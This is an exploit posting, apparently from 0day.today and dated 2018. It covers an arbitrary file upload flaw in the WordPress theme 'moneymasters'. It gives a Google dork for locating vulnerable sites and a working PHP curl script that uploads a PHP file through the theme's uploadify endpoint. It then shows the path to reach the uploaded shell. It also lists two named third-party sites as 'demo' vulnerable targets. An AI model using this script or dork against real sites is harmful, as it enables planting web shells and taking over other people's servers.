Wordpress Themes moneymasters Arbitrary File Upload Vulnerability

################################################## #####
# Author => Fayzoun
# Facebook => http://fb.me/fayzoun.no.love
# Facebook page => http://fb.me/fayzoun.AO
# Google Dork => inurl:/wp-content/themes/moneymasters 
# Mail : [email protected] / [email protected]
################################################## #
# Exploit:
<?php
 
$uploadfile="Fayzoun.php";
$ch = curl_init("http://www.vulnsite.com");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
              array('Filedata'=>"@$uploadfile",
              'folder'=>'/wp-content/themes/moneymasters/code/uploadify/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
 
  print "$postResult";
?> 

Shell Access : http://localhost/wordpress/wp-content/themes/moneymasters/code/uploadify/random_name.php
-------------------
<?php
phpinfo();
?>
------------------------------
 
[#] Demos Vulnd sites :
 
http://themiza.com/wp-content/themes/moneymasters/code/uploadify/uploadify.php
http://www.vietbacsecurity.com/wp-content/themes/moneymasters/code/uploadify/uploadify.php
################################################## 
Gretz To : .:: شهداء الأقصى ::. - Pal Snipre - The Wolf - Salem Hassine 
Thanks To: God Allah

#  0day.today [2018-03-10]  #